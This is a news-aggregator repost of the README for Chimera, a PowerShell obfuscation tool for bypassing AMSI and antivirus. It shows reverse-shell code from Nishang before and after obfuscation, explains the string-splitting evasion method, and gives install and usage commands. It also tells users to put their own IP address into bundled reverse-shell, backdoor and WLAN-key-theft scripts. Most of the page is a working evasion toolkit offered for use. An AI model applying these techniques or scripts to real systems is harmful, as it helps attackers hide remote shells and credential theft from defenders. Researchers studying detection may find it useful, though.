Cookie Consent by Free Privacy Policy Generator ๐Ÿ“Œ Chimera - A (Shiny And Very Hack-Ish) PowerShell Obfuscation Script Designed To Bypass AMSI And Commercial Antivirus Solutions

๐Ÿ  Team IT Security News

TSecurity.de ist eine Online-Plattform, die sich auf die Bereitstellung von Informationen,alle 15 Minuten neuste Nachrichten, Bildungsressourcen und Dienstleistungen rund um das Thema IT-Sicherheit spezialisiert hat.
Ob es sich um aktuelle Nachrichten, Fachartikel, Blogbeitrรคge, Webinare, Tutorials, oder Tipps & Tricks handelt, TSecurity.de bietet seinen Nutzern einen umfassenden รœberblick รผber die wichtigsten Aspekte der IT-Sicherheit in einer sich stรคndig verรคndernden digitalen Welt.

16.12.2023 - TIP: Wer den Cookie Consent Banner akzeptiert, kann z.B. von Englisch nach Deutsch รผbersetzen, erst Englisch auswรคhlen dann wieder Deutsch!

Google Android Playstore Download Button fรผr Team IT Security



๐Ÿ“š Chimera - A (Shiny And Very Hack-Ish) PowerShell Obfuscation Script Designed To Bypass AMSI And Commercial Antivirus Solutions


๐Ÿ’ก Newskategorie: IT Security Nachrichten
๐Ÿ”— Quelle: feedproxy.google.com


Chimera is a (shiny and ver y hack-ish) PowerShell obfuscation script designed to bypass AMSI and antivirus solutions. It digests malicious PS1's known to trigger AV and uses string substitution and variable concatenation to evade common detection signatures.


Chimera was created for this write-up and is further evidence of how trivial it is to bypass detection signatures. Hopefully, this repository will inspire someone to build something robust and more reliable.


How Chimera works...

Below is a snippet of Nishang's Invoke-PowerShellTcp.ps1, found at nishang/Shells. VirusTotal reports 25 detections of the PS1 script.

$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}

#Send back current username and computername
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
$stream.Write($sendbytes,0,$sendbytes.Length)

#Show an interactive PowerShell prompt
$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
$stream.Write($sendbytes,0,$sendbytes.Length)



And here it is again, after Chimera. VirusTotal reports 0 detections of the obfuscated version.

  # Watched anxiously by the Rebel command, the fleet of small, single-pilot fighters speeds toward the massive, impregnable Death Star.
$xdgIPkCcKmvqoXAYKaOiPdhKXIsFBDov = $jYODNAbvrcYMGaAnZHZwE."$bnyEOfzNcZkkuogkqgKbfmmkvB$ZSshncYvoHKvlKTEanAhJkpKSIxQKkTZJBEahFz$KKApRDtjBkYfJhiVUDOlRxLHmOTOraapTALS"()
# As the station slowly moves into position to obliterate the Rebels, the pilots maneuver down a narrow trench along the stationโ€™s equator, where the thermal port lies hidden.
[bYte[]]$mOmMDiAfdJwklSzJCUFzcUmjONtNWN = 0..65535|%{0}
# Darth Vader leads the counterattack himself and destroys many of the Rebels, including Lukeโ€™s boyhood friend Biggs, in ship-to-ship combat.

# Finally, it is up to Luke himself to make a run at the target, and he is saved from Vader at the last minute by Han Solo, who returns in the nick of time and sends Vader spinning away from the station.
# Heeding B enโ€™s disembodied voice, Luke switches off his computer and uses the Force to guide his aim.
# Against all odds, Luke succeeds and destroys the Death Star, dealing a major defeat to the Empire and setting himself on the path to becoming a Jedi Knight.
$PqJfKJLVEgPdfemZPpuJOTPILYisfYHxUqmmjUlKkqK = ([teXt.enCoDInG]::AsCII)."$mbKdotKJjMWJhAignlHUS$GhPYzrThsgZeBPkkxVKpfNvFPXaYNqOLBm"("WInDows Powershell rUnnInG As User " + $TgDXkBADxbzEsKLWOwPoF:UsernAMe + " on " + $TgDXkBADxbzEsKLWOwPoF:CoMPUternAMe + "`nCoPYrIGht (C) 2015 MICrosoft CorPorAtIon. All rIGhts reserveD.`n`n")
# Far off in a distant galaxy, the starship belonging to Princess Leia, a young member of the Imperial Senate, is intercepted in the course of a secret mission by a massive Imperial Star Destroyer.
$xdgIPkCcKmvqoXAYKaOiPdhKXIsFBDov.WrIte($PqJfKJLVEgPdfemZPpuJOTPILYisfYHxUqmmjUlKkqK,0,$PqJfKJLVEgPdfemZPpuJOTPILYisfYHxUqmmjUlKkqK.LenGth)
# An imperial boarding party blasts its way onto the captured vessel, and after a fierce firefight the crew of Leiaโ€™s ship is subdued.



Chimera does several things to obfuscate the source. The transformer function will separate strings into multiple pieces and reconstruct them as new variables.

For example, it will take a string like ... New-Object System.Net.Sockets.TCPClient ... and convert it to:

$a = "Syste"
$b = "m.Net.Soc"
$c = "kets.TCP"
$d = "Client"

... New-Object $a$b$c$d ...

The function separates commonly flagged data types and strings into several chunks. It defines the chunks and concatenates them at the top of the script. A higher --level will result in smaller chunks and more variables.

$CNiJfmZzzQrqZzqKqueOBcUVzmkVbllcEqjrbcaYzTMMd = "`m"
$quiyjqGdhQZgYFRdKpDGGyWNlAjvPCxQTTbmFkvTmyB = "t`Rea"
$JKflrRllAqgRlHQIUzOoyOUEqVuVrqqCKdua = "Get`s"
$GdavWoszHwDVJmpYwqEweQsIAz = "ti`ON"
$xcDWTDlvcJfvDZCasdTnWGvMXkRBKOCGEANJpUXDyjPob = "`L`O`Ca"
$zvlOGdEJVsPNBDwfKFWpvFYvlgJXDvIUgTnQ = "`Get`-"
$kvfTogUXUxMfCoxBikPwWgwHrvNOwjoBxxto = "`i"
$tJdNeNXdANBemQKeUjylmlObtYp = "`AsC`i"
$mhtAtRrydLlYBttEnvxuWkAQPTjvtFPwO = "`G"
$PXIuUKzhMNDUYGZKqftvpAiQ = "t`R`iN

Usage

Clone the repository. Tested in Kali v2020.3.

sudo apt-get update && sudo apt-get install -Vy sed xxd libc-bin curl jq perl gawk grep coreutils git
sudo git clone https://github.com/tokyoneon/chimera /opt/chimera
sudo chown $USER:$USER -R /opt/chimera/; cd /opt/chimera/
sudo chmod +x chimera.sh; ./chimera.sh --help

Basic usage.

./chimera.sh -f shells/Invoke-PowerShellTcp.ps1 -l 3 -o /tmp/chimera.ps1 -v -t powershell,windows,\
copyright -c -i -h -s length,get-location,ascii,stop,close,getstream -b new-object,reverse,\
invoke-expression,out-string,write-error -j -g -k -r -p

Review the usage guide and write-up for more examples and screenshots.


Shells

In the shells/ directory are several Nishang scripts and a few generic ones. All have been tested and should work fine. But there's no telling how untested scripts will reproduce with Chimera...

Change the hardcoded IP addresses.

sed -i 's/192.168.56.101/<YOUR-IP-ADDRESS>/g' shells/*.ps1
ls -laR shells/

shells/:
total 60
-rwxrwx--- 1 tokyoneon tokyoneon 1727 Aug 29 22:02 generic1.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 1433 Aug 29 22:02 generic2.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 734 Aug 29 22:02 generic3.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 4170 Aug 29 22:02 Invoke-PowerShellIcmp.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 281 Aug 29 22:02 Invoke-PowerShellTcpOneLine.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 4404 Aug 29 22:02 Invoke-PowerShellTcp.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 594 Aug 29 22:02 Invoke-PowerShellUdpOneLine.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 5754 Aug 29 22:02 Invoke-PowerShellUdp.ps1
drwxrwx--- 1 tokyoneon tokyoneon 4096 Aug 28 23:27 misc
-rwxrwx--- 1 tokyoneon tokyoneon 616 Aug 29 22:02 powershell_reverse_shell.ps1

shells/misc:
total 36
-rwxrwx--- 1 tokyoneon tokyoneon 1757 Aug 12 19:53 Add-RegBackdoor.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 3648 Aug 12 19:53 Get-Informat ion.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 672 Aug 12 19:53 Get-WLAN-Keys.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 4430 Aug 28 23:31 Invoke-PortScan.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 6762 Aug 29 00:27 Invoke-PoshRatHttp.ps1

Resources ...



๐Ÿ“Œ Chimera - A (Shiny And Very Hack-Ish) PowerShell Obfuscation Script Designed To Bypass AMSI And Commercial Antivirus Solutions


๐Ÿ“ˆ 131.21 Punkte

๐Ÿ“Œ Chimera - PowerShell Obfuscation Script Designed To Bypass AMSI And Commercial Antivirus Solutions


๐Ÿ“ˆ 130.14 Punkte

๐Ÿ“Œ Oh No! AMSI blocked the AMSI Bypass! What now?


๐Ÿ“ˆ 54.3 Punkte

๐Ÿ“Œ VVIPs in Katar: Very Very Important Person oder Very very abwesend


๐Ÿ“ˆ 47.35 Punkte

๐Ÿ“Œ Revoke-Obfuscation: PowerShell Obfuscation Detection (And Evasion) Using Science


๐Ÿ“ˆ 46.63 Punkte

๐Ÿ“Œ DEF CON 25 - Daniel Bohannon, Lee Holmes - Revoke Obfuscation: PowerShell Obfuscation


๐Ÿ“ˆ 45.56 Punkte

๐Ÿ“Œ How to bypass AMSI and execute ANY malicious Powershell code


๐Ÿ“ˆ 41.84 Punkte

๐Ÿ“Œ HTTP-revshell - Powershell Reverse Shell Using HTTP/S Protocol With AMSI Bypass And Proxy Aware


๐Ÿ“ˆ 41.84 Punkte

๐Ÿ“Œ Creating a Batch File and PowerShell Script โ€œBatch File to Run PowerShell Script


๐Ÿ“ˆ 37.06 Punkte

๐Ÿ“Œ PowerShell Obfuscation Ups the Ante on Antivirus


๐Ÿ“ˆ 36.58 Punkte

๐Ÿ“Œ Invisi-Shell - Hide Your Powershell Script In Plain Sight (Bypass All Powershell Security Features)


๐Ÿ“ˆ 34.74 Punkte

๐Ÿ“Œ Pokรฉmon GO: Buddy Up-Event bringt Shiny Volbeat und Shiny Illumise


๐Ÿ“ˆ 31.52 Punkte

๐Ÿ“Œ Shiny new Azure login attracts shiny new phishing attacks


๐Ÿ“ˆ 31.52 Punkte

๐Ÿ“Œ Pokรฉmon Go: Film-Event! Holt euch Shiny Celebi und Shiny Geronimatz! (Guide)


๐Ÿ“ˆ 31.52 Punkte

๐Ÿ“Œ Salsa Tools - ShellReverse TCP/UDP/ICMP/DNS/SSL/BINDTCP and AV bypass, AMSI patched


๐Ÿ“ˆ 31.35 Punkte

๐Ÿ“Œ This is how attackers bypass Microsoft's AMSI anti-malware scanning protection


๐Ÿ“ˆ 30.28 Punkte

๐Ÿ“Œ A Detailed Guide on AMSI Bypass


๐Ÿ“ˆ 30.28 Punkte

๐Ÿ“Œ Detecting Windows AMSI Bypass Techniques


๐Ÿ“ˆ 30.28 Punkte

๐Ÿ“Œ I need help taking apart some tough obfuscation. If anyone has some scripts that will help, I would be very grateful...


๐Ÿ“ˆ 29.37 Punkte

๐Ÿ“Œ Powershell-Reverse-Tcp - PowerShell Script For Connecting To A Remote Host.


๐Ÿ“ˆ 28.49 Punkte

๐Ÿ“Œ Difference between Commercial and Non-commercial Sources of Energy


๐Ÿ“ˆ 28.36 Punkte

๐Ÿ“Œ Dissecting the Mindscrew-Powershell Obfuscation


๐Ÿ“ˆ 28.03 Punkte

๐Ÿ“Œ Weaponization: Howto Fully Undetectable Empire Powershell MS macro (VBA obfuscation & Stomping)


๐Ÿ“ˆ 28.03 Punkte

๐Ÿ“Œ PowerShell Obfuscation


๐Ÿ“ˆ 28.03 Punkte

๐Ÿ“Œ Analysis Shows Attackers Favor PowerShell, File Obfuscation


๐Ÿ“ˆ 28.03 Punkte

๐Ÿ“Œ Windows Red Team - Dynamic Shellcode Injection & PowerShell Obfuscation


๐Ÿ“ˆ 28.03 Punkte

๐Ÿ“Œ Bypassing PowerShell Strong Obfuscation, (Thu, Mar 30th)


๐Ÿ“ˆ 28.03 Punkte

๐Ÿ“Œ Open-Xchange: A specifically designed sieve script can cause a DoS in lib-sieve during sieve script compilation via NULL pointer dereference


๐Ÿ“ˆ 27.63 Punkte

๐Ÿ“Œ Powershell Without Powershell โ€“ How To Bypass Application Whitelisting, Environment Restrictions & AV


๐Ÿ“ˆ 27.24 Punkte

๐Ÿ“Œ Hacky hack on whack 'Hacky Hack Hack' Mac chaps hack attack rap cut some slack


๐Ÿ“ˆ 25.69 Punkte

๐Ÿ“Œ The Document that Microsoft Eluded AppLocker and AMSI


๐Ÿ“ˆ 25.1 Punkte

๐Ÿ“Œ Out of sight but not invisible: Defeating fileless malware with behavior monitoring, AMSI, and next-gen AV


๐Ÿ“ˆ 25.1 Punkte

๐Ÿ“Œ LightsOut - Generate An Obfuscated DLL That Will Disable AMSI And ETW


๐Ÿ“ˆ 25.1 Punkte











matomo